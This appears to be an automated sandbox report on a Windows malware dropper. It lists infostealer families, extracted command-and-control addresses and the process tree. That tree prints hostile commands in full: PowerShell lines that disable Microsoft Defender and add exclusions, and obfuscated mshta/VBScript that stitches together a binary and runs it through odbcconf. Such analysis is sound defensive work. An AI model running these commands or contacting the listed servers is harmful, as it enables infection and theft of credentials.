Analysis
- max time kernel
137s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
23/09/2026, 09:09
General
- Target 2026-09-23_884f22cd93dd27ebd7aabcd787439f60_elex_wannacry.exe
- Size 14.9MB
- Sample260923-k4vs7a1bkd
- SHA256 99fd5b5574063d071c7b65e8e4b626dcdf429410085847a13e702bc7c305481e
Malware Config
Extracted
-
socelars
-
http://www.yarchworkshop.com/
Extracted
-
privateloader
-
http://212.193.30.45/proxies.txt
-
http://212.193.30.29/server.txt
-
pastebin.com/raw/A7dSG1te
-
http://wfsdragon.ru/api/setStats.php
-
212.192.241.62
Extracted
-
redline
-
@Tui
-
185.215.113.44:23759
-
auth_value
f4763503fd39f2719d3cbb75871d93ad
Extracted
-
redline
-
user1
-
23.88.118.113:23817
-
auth_value
8fa01dd66c262df9908a74caff781e02
Signatures
- Family: Fabookie
Fabookie is facebook account info stealer.
- Family: NullMixer
NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.
- Family: PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
- Family: Raccoon
Raccoon is an infostealer written in C++ and first seen in 2019.
- Family: RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- Family: Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
- Detect Fabookie payload 1 IoCs
- Raccoon Stealer V1 payload 7 IoCs
- RedLine payload 9 IoCs
- Socelars payload 1 IoCs
- Detected Nirsoft tools 1 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
- Custom signatureDetects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 1 IoCs
- Custom signatureDetects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
- Custom signatureDetects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
- Custom signatureDetects executables packed with ASPack 18 IoCs
- Custom signatureDetects executables packed with unregistered version of .NET Reactor 2 IoCs
- Custom signatureDetects executables referencing many email and collaboration clients. Observed in information steale 7 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
- NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- .NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- ASPack v2.12-2.42 3 IoCs
Detects executables packed with ASPack v2.12-2.42
- Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Executes dropped EXE 29 IoCs
- Loads dropped DLL 9 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- System Binary Proxy Execution: Odbcconf 1 TTPs 3 IoCs
Abuse Odbcconf to proxy execution of malicious code.
- Checks whether UAC is enabled 1 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
- Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 25 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Program crash 6 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 61 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Inno Setup is an open-source installation builder for Windows applications. 4 IoCs
Inno Setup installer
- Kills process with taskkill 2 IoCs
- Suspicious behavior: EnumeratesProcesses 21 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-09-23_884f22cd93dd27ebd7aabcd787439f60_elex_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-23_884f22cd93dd27ebd7aabcd787439f60_elex_wannacry.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\setup_install.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri166782cf7c63.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri166782cf7c63.exeFri166782cf7c63.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri16ec62c8a21d7.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16ec62c8a21d7.exeFri16ec62c8a21d7.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri166c31e397c483.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri166c31e397c483.exeFri166c31e397c483.exe4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri164584ab4aa144e3.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri164584ab4aa144e3.exeFri164584ab4aa144e3.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt ( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri164584ab4aa144e3.exe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If """" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri164584ab4aa144e3.exe"" ) do taskkill -f /Im ""%~NXg"" " , 0 , true ) )5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri164584ab4aa144e3.exe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri164584ab4aa144e3.exe" ) do taskkill -f /Im "%~NXg"6⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXeQ7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt ( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If ""-PJJdHOofvf~E"" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" ) do taskkill -f /Im ""%~NXg"" " , 0 , true ) )8⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "-PJJdHOofvf~E" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" ) do taskkill -f /Im "%~NXg"9⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBScRIpt: close ( crEateoBJeCT( "wscRIpT.sHELl" ). RUn ( "C:\Windows\system32\cmd.exe /q /C ECho | SeT /p = ""MZ"" > 2MXG5k.pR & copy /b /y 2MXG5K.pR + A0kCLvIX.Kc + SpiKDP6.H + ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku } " , 0 , TrUE ) )8⤵
- System Binary Proxy Execution: Odbcconf
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /C ECho | SeT /p = "MZ" > 2MXG5k.pR & copy /b /y 2MXG5K.pR + A0kCLvIX.Kc + SpiKDP6.H+ ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku}9⤵
- System Binary Proxy Execution: Odbcconf
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECho "10⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>2MXG5k.pR"10⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\odbcconf.exeodbcconf.exe /a { reGSVr .\9v~4.Ku}10⤵
- Loads dropped DLL
- System Binary Proxy Execution: Odbcconf
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f /Im "Fri164584ab4aa144e3.exe"7⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri161d1b1bf27b1.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri161d1b1bf27b1.exeFri161d1b1bf27b1.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1912 -s 2725⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri16cdd3af3a2.exe /mixtwo3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16cdd3af3a2.exeFri16cdd3af3a2.exe /mixtwo4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 4525⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri16502722c415.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16502722c415.exeFri16502722c415.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 2685⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri16e19b282c7e9421b.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16e19b282c7e9421b.exeFri16e19b282c7e9421b.exe4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri1677848723de.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri1677848723de.exeFri1677848723de.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1300 -s 2685⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri16b446451f982d1.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16b446451f982d1.exeFri16b446451f982d1.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16b446451f982d1.exeC:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16b446451f982d1.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5416 -s 1686⤵
- Program crash
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri1683b1c56b07bcf5b.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri1683b1c56b07bcf5b.exeFri1683b1c56b07bcf5b.exe4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri16425d9f9bd26.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16425d9f9bd26.exeFri16425d9f9bd26.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-SL75U.tmp\Fri16425d9f9bd26.tmp"C:\Users\Admin\AppData\Local\Temp\is-SL75U.tmp\Fri16425d9f9bd26.tmp" /SL5="$901B0,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16425d9f9bd26.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16425d9f9bd26.exe"C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16425d9f9bd26.exe" /SILENT6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-AOGQT.tmp\Fri16425d9f9bd26.tmp"C:\Users\Admin\AppData\Local\Temp\is-AOGQT.tmp\Fri16425d9f9bd26.tmp" /SL5="$A01B0,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16425d9f9bd26.exe" /SILENT7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri1684851f5aabd25.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri1684851f5aabd25.exeFri1684851f5aabd25.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri1684851f5aabd25.exe"C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri1684851f5aabd25.exe" -u5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri1639e80936d26.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri1639e80936d26.exeFri1639e80936d26.exe4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri1672d203a940ae355.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri1672d203a940ae355.exeFri1672d203a940ae355.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5020 -s 4525⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri165b78dbf146642.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri165b78dbf146642.exeFri165b78dbf146642.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri162bd6df3a0f71b.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri162bd6df3a0f71b.exeFri162bd6df3a0f71b.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri1642b2d9ec4c5a.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri1642b2d9ec4c5a.exeFri1642b2d9ec4c5a.exe4⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri1670c3a94d.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri1670c3a94d.exeFri1670c3a94d.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri16216daaa4b6443.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16216daaa4b6443.exeFri16216daaa4b6443.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16216daaa4b6443.exe"5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16216daaa4b6443.exe"C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16216daaa4b6443.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16216daaa4b6443.exe"C:\Users\Admin\AppData\Local\Temp\7zSC7D7D6D9\Fri16216daaa4b6443.exe"5⤵
- Executes dropped EXE
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5020 -ip 50201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4952 -ip 49521⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k InvSvcGroup -p -s InventorySvc1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 5416 -ip 54161⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 392 -p 2292 -ip 22921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 1912 -ip 19121⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 1300 -ip 13001⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1System Binary Proxy Execution
1Odbcconf
1Virtualization/Sandbox Evasion
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
2MXG5k.pR
Fri161d1b1bf27b1.exe
Fri16216daaa4b6443.exe
Fri162bd6df3a0f71b.exe
Fri1639e80936d26.exe
Fri16425d9f9bd26.exe
Fri1642b2d9ec4c5a.exe
Fri164584ab4aa144e3.exe
Fri16502722c415.exe
Fri165b78dbf146642.exe
Fri166782cf7c63.exe
Fri166c31e397c483.exe
Fri1670c3a94d.exe
Fri1672d203a940ae355.exe
Fri1677848723de.exe
Fri1683b1c56b07bcf5b.exe
Fri1684851f5aabd25.exe
Fri16b446451f982d1.exe
Fri16cdd3af3a2.exe
Fri16e19b282c7e9421b.exe
Fri16ec62c8a21d7.exe
libcurl.dll
libcurlpp.dll
libgcc_s_dw2-1.dll
libstdc++-6.dll
libwinpthread-1.dll
setup_install.exe
A0kclvIX.Kc
__PSScriptPolicyTest_xewxvkht.u5p.ps1
Fri16425d9f9bd26.tmp
idp.dll
spikDp6.H
memory/1236-209-0x0000000000400000-0x00000000004CC000-memory.dmp
memory/1236-136-0x0000000000400000-0x00000000004CC000-memory.dmp
memory/1328-73-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/1328-74-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/1328-114-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/1328-77-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/1328-81-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/1328-82-0x0000000001010000-0x000000000109F000-memory.dmp
memory/1328-68-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/1328-78-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/1328-76-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/1328-109-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/1328-80-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/1328-83-0x000000006B28C000-0x000000006B291000-memory.dmp
memory/1328-113-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/1328-112-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/1328-84-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/1328-72-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/1328-106-0x0000000000400000-0x000000000051D000-memory.dmp
memory/1328-75-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/1328-79-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/1328-108-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2432-139-0x0000000000A70000-0x0000000000B47000-memory.dmp
memory/2432-161-0x00000000725D0000-0x000000007264E000-memory.dmp
memory/2432-158-0x0000000075CD0000-0x0000000075E25000-memory.dmp
memory/2432-183-0x0000000076550000-0x0000000076B2C000-memory.dmp
memory/2432-175-0x0000000005B00000-0x0000000005B3C000-memory.dmp
memory/2432-306-0x0000000000A70000-0x0000000000B47000-memory.dmp
memory/2432-160-0x0000000000A70000-0x0000000000B47000-memory.dmp
memory/2432-147-0x0000000002F00000-0x0000000002F47000-memory.dmp
memory/2432-138-0x0000000000A70000-0x0000000000B47000-memory.dmp
memory/2432-170-0x0000000005BD0000-0x0000000005CDA000-memory.dmp
memory/2432-145-0x0000000001510000-0x0000000001511000-memory.dmp
memory/2432-146-0x0000000000A70000-0x0000000000B47000-memory.dmp
memory/2432-154-0x0000000076040000-0x00000000762CA000-memory.dmp
memory/2432-155-0x0000000075870000-0x0000000075AEC000-memory.dmp
memory/2568-549-0x0000000007150000-0x00000000071F3000-memory.dmp
memory/2568-546-0x000000006F350000-0x000000006F39C000-memory.dmp
memory/2568-545-0x0000000005A00000-0x0000000005D5B000-memory.dmp
memory/3300-140-0x0000000000920000-0x000000000093C000-memory.dmp
memory/3300-148-0x0000000001080000-0x0000000001086000-memory.dmp
memory/4236-134-0x0000000000E50000-0x0000000000E58000-memory.dmp
memory/4612-210-0x0000000000400000-0x00000000007FA000-memory.dmp
memory/4612-216-0x0000000000400000-0x00000000007FA000-memory.dmp
memory/4612-215-0x0000000000400000-0x00000000007FA000-memory.dmp
memory/4952-230-0x0000000000400000-0x00000000004DE000-memory.dmp
memory/4952-214-0x0000000000400000-0x00000000004DE000-memory.dmp
memory/4988-198-0x0000000000A90000-0x0000000000F2E000-memory.dmp
memory/4988-179-0x0000000002F60000-0x0000000002F61000-memory.dmp
memory/4988-181-0x0000000075870000-0x0000000075AEC000-memory.dmp
memory/4988-200-0x0000000000A90000-0x0000000000F2E000-memory.dmp
memory/4988-177-0x0000000000A90000-0x0000000000F2E000-memory.dmp
memory/4988-176-0x0000000000A90000-0x0000000000F2E000-memory.dmp
memory/4988-173-0x0000000000A90000-0x0000000000F2E000-memory.dmp
memory/4988-172-0x0000000000A90000-0x0000000000F2E000-memory.dmp
